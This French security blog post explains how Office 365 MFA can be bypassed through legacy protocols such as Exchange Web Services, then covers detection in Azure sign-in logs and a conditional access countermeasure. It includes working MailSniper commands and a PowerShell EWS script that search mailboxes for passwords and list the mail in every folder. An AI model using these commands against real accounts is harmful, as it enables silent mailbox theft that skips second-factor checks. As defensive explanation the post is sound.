Contourner l'authentification forte d'Office 365 (MFA) en 3 lignes (et la corriger 😉)

Contourner l'authentification forte d'Office 365 (MFA) en 3 lignes (et la corriger 😉)

⚠ Le blog a Ă©tĂ© dĂ©placĂ© vers le site Patrowl, vous serez redirigĂ© automatiquement dans 3 secondes, sinon cliquez sur ce lien : https://patrowl.io/contourner-lauthentification-forte-doffice-365-mfa-en-3-lignes-et-la-corriger-😉/
👍 Vous y retrouverez toutes les nouvelles publications

Avant d’entrer dans le vif du sujet, je dois juste expliquer rapidement quelques notions.

Authentification Forte

L’authentification forte est une authentification rĂ©alisĂ©e avec un identifiant (login, mail
) et, au moins, deux facteurs diffĂ©rents parmi :

  • Ce que je sais (mon mot de passe, une phrase
) ;
  • Ce que je suis (biomĂ©trie comme : empreinte, rĂ©tine, haleine fĂ©tide
)
  • Ce que je sais faire (signature, geste codĂ© https://twitter.com/mynameisv_/status/1258372512628555779 ...) ;
  • Ce que je possĂšde (un tĂ©lĂ©phone recevant un code par SMS, un smartphone recevant une notification, un petit jeton gĂ©nĂ©rant des codes Ă  usage unique ou OTP dĂ©rivĂ©s du temps et d’un secret, ou la mĂȘme chose mais en application sur un smartphone
) ;
  • L’endroit oĂč je suis (gĂ©olocalisation) ;
  • 


L'authentification forte est souvent appelée en franglais « Multi Factor Authentication / MFA  » et parfois aussi appelé « Two-Factor Authentication / 2FA  », une sous classe du MFA limité à l'utilisation de 2 facteurs. Mais par abus de language, le MFA concerne généralement l'authentification forte avec 2 facteurs.

Pour plus des détails, je vous renvoi vers le dieu Wikipédia : https://fr.wikipedia.org/wiki/Authentification_forte

Une fois authentifiĂ© sur un systĂšme (site web, API, application
), en gĂ©nĂ©ral, vous rĂ©cupĂ©rez un identifiant de session (cookie, jeton, JWT, PHPSESSIONID
) valide pendant une durĂ©e donnĂ©e, renvoyĂ© Ă  chaque actions, afin d’éviter de se rĂ©authentifier.

Oui, il y’a beaucoup de « ... » 😉.

Il ne faut donc pas confondre :

  • Authentification et Identification, l’authentification est une identification avec une preuve sous la forme d’un authentifiant (comme par exemple un mot de passe) ;
  • Authentification simple (un login et un mot de passe) et authentification forte ;
  • Authentification forte « de merde » avec deux mots de passe et vĂ©ritable authentification forte.

Les attaques sur Office 365

Office 365 c’est votre mail (et pleins d’autres choses) gĂ©rĂ© chez Microsoft, par Microsoft en SaaS et que vous payez tous les mois sans amortissement possible.

La solution est adaptĂ©e Ă  un grand nombre d’entreprises (hors secteur trĂšs concurrentiel ou secret), fonctionne vraiment bien, simplifie la gestion de votre mail (et d’une partie du systĂšme d’information comme SharePoint), permet d’avoir un niveau de sĂ©curitĂ© souvent plus Ă©levĂ© que lorsque le mail Ă©tait gĂ©rĂ© en interne.

Le problĂšme est que les cyberdĂ©linquants attaquent massivement les entreprises utilisant Office 365 car cela donne un point d’entrĂ©e quasi unique permettant d’utiliser les mĂȘmes outils d’attaque avec des techniques simples :

  • Password spraying, qui consiste Ă  essayer de s’authentifier sur pleins de comptes mais avec trĂšs peu de mots de passe comme « NomEntreprise2020! », permettant de ne pas bloquer les comptes avec trop de tentatives en Ă©chec ;
  • Password Reuse, qui consiste Ă  rĂ©cupĂ©rer des fuites (leak) publiques contenant des utilisateurs ainsi que leur mot de passe et Ă  essayer ces mots de passe, en ayant prĂ©cĂ©demment retrouvĂ© les entreprise de ces utilisateurs, leur mail pro
 ;
  • Hameçonnage (phishing), qui consiste Ă  envoyer des mails contenant un lien vers un faux formulaire d’authentification Office 365 afin de voler l’identifiant et le mot de passe des utilisateurs.

Le MFA est la solution à tous vos problùmes
 ou presque


Beaucoup d’entreprises se font compromettre des comptes Office 365 du fait de mots de passe faibles, prĂ©visibles ou rĂ©utilisĂ©s. En gĂ©nĂ©ral, cela donne des compromissions de comptes par dizaines chaque semaine, coĂ»tant beaucoup de temps et d’énergie aux gens de la sĂ©curitĂ©.

La solution la plus simple pour bloquer ces attaques est la mise en place de l’authentification forte. MĂȘme si l’attaquant trouve votre mot de passe, il sera bloquĂ© par la demande du second facteur d’authentification.

Pour bĂ©nĂ©ficier du MFA sur Office 365, Ă  ce jour, il faut juste une licence (plan) Microsoft 365 (ou de l’Azure AD Premium P1 ou P2). Vous disposez de nombreuses documentations chez Microsoft sur les diffĂ©rentes maniĂšres d’activer le MFA, la principale Ă©tant ici : https://docs.microsoft.com/en-us/azure/active-directory/authentication/howto-mfa-userstates

A noter qu’en bonus, certaines entreprises utilisent en interne un identifiant (I5178Y1, X171819, abricot pour Alexandre BRICOT
) mais pas le mail complet. Si l’entreprise utilise une authentification Office 365 reposant sur un rĂ©fĂ©rentiel d’identitĂ©s conservĂ© en interne (ADFS), l’authentification forte se fait alors en plusieurs Ă©tapes sur le site web Office 365 :

  • Saisie du mail sur le portail ;
  • Redirection vers l’ADFS ;
  • Saisie de l’identifiant et du mot de passe ;
  • Redirection vers Office 365 ;
  • Saisie du second facteur d’authentification.

Dans ce cas, si les identifiants internes ne sont pas triviaux, alors l’entreprise dispose presque d’une sorte de sĂ©curitĂ© supplĂ©mentaire 😉.

Contourner le MFA

Le MFA c’est super mais il est malheureusement possible de le contourner et il s’agit d’une fonctionnalitĂ© !

Par contre, il est toujours nĂ©cessaire de disposer d’un identifiant valide et de son mot de passe (mais si vous saviez le nombre de personnes qui mettent « NomEntreprise2019! » ou 2020, comme mot de passe
).

Généralement, vous utilisez un de ces deux moyens accÚs :

  • Votre navigateur, supportant l’authentification forte par nature (ce qui est vrai et faux, car ce n’est pas le navigateur qui supporte le MFA mais le fait d’accepter des redirections mais passons, faisons simple) ;
  • Votre client lourd comme Outlook, Teams, Word, App Mail sur iOS
 supportant le MDA et qui fonctionne avec le protocole Outlook Anywhere (du RCP over HTTP avec ou sans chiffrement SSL/TLS mais c’est mieux avec 😉) ou avec le protocole Messaging Application Programming Interface / MAPI (protocole basĂ© sur SOAP et contenant l’XML immonde de Microsoft « over HTTP » avec toute la doc ici : https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxprotlp/30c90a39-9adf-472b-8b5b-03c282304a83?redirectedfrom=MSDN)

Microsoft Ă©tant le spĂ©cialiste de la rĂ©trocompatibilitĂ©, tout naturellement, Office 365 support un trÚÚÚÚÚÚÚÚs grand nombre de moyens d’accĂšs au mail (je simplifie pour Ă©viter de faire des listes Ă  rallonge de ce qui peut ĂȘtre accĂ©dĂ© : mail, contacts, calendrier et parfois fichiers, sharepoint, fonctionnalitĂ©s azure
), dont plusieurs ne supportant pas ce fameux MFA, ce qui permet de le contourner.

Vous trouverez dans cet article plusieurs de ces contournements, utilisant MailSniper : https://www.blackhillsinfosec.com/bypassing-two-factor-authentication-on-owa-portals/

Voici la liste des différents protocoles et moyens de contournement :

  • Panneau de Configuration Exchange (ECP), il s'agit en fait de la section «options» de Outlook Web Access / OWA, le client web d’Outlook ;
  • ActiveSync, l'accĂšs mobile, utilisĂ© depuis les applications de messagerie natives iPhone / Android ;
  • Services Web Exchange (EWS), gĂ©nĂ©ralement utilisĂ© pour l'accĂšs au contenu de la boĂźte mail ou pour accĂ©der aux informations de disponibilitĂ© du calendrier, mais surtout par Outlook pour Mac ;
  • POP et IMAP, les vieux protocoles des annĂ©es 80 ;
  • PowerShell ;
  • L’API REST, une autre mĂ©thode d'accĂšs aux boĂźtes mail, qui a (devait ?) ĂȘtre remplacĂ©e par EWS ;
  • La dĂ©couverte automatique (Autodiscover), moyen de dĂ©couvrir les options de configuration d’une boite mail.

Ici, nous allons nous intĂ©resser Ă  EWS, sorti en 2007, basĂ© sur du SOAP et ne supportant que l’authentification « basic auth », vieux protocole d’authentification web qui envoie le login et le mot de passe en clair (quasiment). Pour plus de dĂ©tails avec des schĂ©mas, vous pouvez consulter cet article : https://blog.behrouze.com/basic-auth/

A noter que EWS devait ĂȘtre dĂ©prĂ©ciĂ© le 13 octobre 2020 (https://techcommunity.microsoft.com/t5/exchange-team-blog/upcoming-changes-to-exchange-web-services-ews-api-for-office-365/ba-p/608055) mais du fait du COVID, sa fin est dĂ©calĂ©e Ă  mi-2021 (cf. dernier commentaire de l’article). Ceci dans le but de privilĂ©gier des protocoles modernes comme OAuth 2.0 (je vais faire un article prochainement sur OAuth, SAML, OpenID Connect
).

Voici mon compte chez un client avec comme MFA l’envoi d’un code par SMS :

Et voici comment contourner le MFA en 3 lignes (et encore, je suis gĂ©nĂ©reux sur le comptage), avec l’utilisation de l’outil MailSniper (https://github.com/dafthack/MailSniper)qui par dĂ©faut va chercher les mails contenant « password », « creds »  :

powershell -exec bypass
Import-Module .\MailSniper.ps1
Invoke-SelfSearch -Mailbox vladimir.kolla@****.com -ExchHostname outlook.office365.com -remote

En 1 ligne pour s’amuser :

powershell -exec bypass -c "Import-Module .\MailSniper.ps1; Invoke-SelfSearch -Mailbox vladimir.kolla@****.com -ExchHostname outlook.office365.com -remote;"

Cela donne l’ouverture d’une fenĂȘtre pour demander (Ă  nouveau) le mail et surtout le mot de passe, mais pas de second facteur :

Puis la magie opĂšre, je suis connectĂ© Ă  mon mail en contournant le MFA et l’outil cherche les mots clefs dans mes mails (je m’étais envoyĂ© des mails avec le mot « password » pour avoir un rĂ©sultat) :

Vous pouvez Ă©galement le faire manuellement en PowerShell, voici un exemple (crado) listant les titres des 200 premiers mails de chaque boite mail :

$UserName = 'v******@****.com';
$Password = '*****';
$MailBox = ''; # laisser Ă  vide s’il n’y a pas de dĂ©lĂ©gation
$MaxNumberOfMailToGet = 200;
$Service = [Microsoft.Exchange.WebServices.Data.ExchangeService]::new([Microsoft.Exchange.WebServices.Data.ExchangeVersion]::Exchange2013_SP1)
$Service.Credentials = New-Object Microsoft.Exchange.WebServices.Data.WebCredentials($UserName, $Password)
$Service.Url = new-object Uri("https://outlook.office365.com/EWS/Exchange.asmx");
$msgfolderroot = [Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::MsgFolderRoot;
$mbx = New-Object Microsoft.Exchange.WebServices.Data.Mailbox( $Mailbox );
$FolderId = New-Object Microsoft.Exchange.WebServices.Data.FolderId( $msgfolderroot, $mbx);
$rootFolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service,$FolderId);
$folderView = [Microsoft.Exchange.WebServices.Data.FolderView]100;
$folderView.Traversal='Deep';
$rootFolder.Load();
$CustomFolderObj = $rootFolder.FindFolders($folderView);
# les 2 lignes suivantes sont à décommenter si vous voulez le contenu des mails en texte
# pour avoir le contenu en HTLM, il faut mettre la propriété : « ::HTML » à la place de « ::Text »
#$PropertySet = New-Object Microsoft.Exchange.WebServices.Data.PropertySet([Microsoft.Exchange.WebServices.Data.BasePropertySet]::FirstClassProperties)
#$PropertySet.RequestedBodyType = [Microsoft.Exchange.WebServices.Data.BodyType]::Text
Foreach($foldername in $CustomFolderObj){
 Try {
  $Inbox = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service,$foldername.Id)
 } catch {}
 $mails = $Inbox.FindItems($MaxNumberOfMailToGet);
 Foreach ($item in $mails.Items) {
  $item.Subject;
  # Ici vous pouvez afficher le contenu en dĂ©commentant les 2 lignes suivantes
  #$item.Load($PropertySet) ;
  #$item.Body.Text;
 }
}

Nan mais mes experts en détection vont détecter ta technique de rebus des enfers !

Avoir des logs c’est bien, les regarder c’est mieux.

Par contre, comme nous opĂ©rons dans le monde de la sorcellerie, si vous utilisez l’outil d’analyse de logs CloudAppSec de Microsoft, vous ne verrez pas ces accĂšs.

C’est beau !

De ce que j’ai compris, cette catĂ©gorie d’accĂšs est filtrĂ©e en amont et n’apparait pas dans les outils de sĂ©curitĂ© de Microsoft pour ne pas polluer la console. Donc soit vous faites activer ce qu’il faut pour et serez noyez dans des logs inutiles soit
 euh
  Joker !

Donc en l’état, si quelqu’un utilise cette technique et vole tous les mails d’un utilisateur, cela sera quasiment invisible.

Pour voir ces accùs, il faut aller dans le portail d’administration Azure (https://portal.azure.com) > puis dans :

  • Azure Active Directory
  • Sign-Ins (oui, le truc Ă  gauche, tout en bas, presque cachĂ©, comme s’ils avaient honte😉)
  • CrĂ©er un filtre « Client App » avec le bouton « Add Filter »
  • ParamĂ©trer ce filtrer pour sĂ©lectionner « Exchange Web Services  » (car dans mon cas j’ai utilisĂ© EWS mais sinon, il faudrait sĂ©lectionner tous les moyens de contournement citĂ©s plus haut)
  • Et lĂ , enfin, sous vos yeux Ă©bahis, vous pouvez visualiser les utilisateurs utilisant lĂ©gitimement un protocole qui sera bientĂŽt dĂ©prĂ©ciĂ© ou 
 des cybercriminels Tadjik du sud de la CorĂ©e du nord de la CIA (Ă  noter que j’ai ajoutĂ© un filtre n’affichant que les succĂšs) :

Contre-mesures

Tout d’abord, comme dit plus haut, Microsoft dĂ©prĂ©cie progressivement tous ces vieux moyens d’accĂšs avec un fort risque de casser des trucs mais c’est votre problĂšme, pas le leur : << Welcome to the jungleCloud !!! >>

En attendant, vous devrez crĂ©er une stratĂ©gies d’accĂšs conditionnels, appliquĂ©e Ă  tous les utilisateurs et bloquant ces vieux accĂšs. Par contre, pensez bien Ă  l’activer car rĂ©cemment, malgrĂ© un accompagnement de Microsoft, un « none » a Ă©tĂ© mis au lieu d’un « All cloud apps » ce qui permettait de continuer Ă  contourner le MFA 😉 :

A noter aussi que l’activation de la stratĂ©gie peut mettre 24h Ă  ĂȘtre appliquĂ© (cf. commentaires) : https://techcommunity.microsoft.com/t5/exchange-team-blog/modern-auth-and-unattended-scripts-in-exchange-online-powershell/ba-p/1497387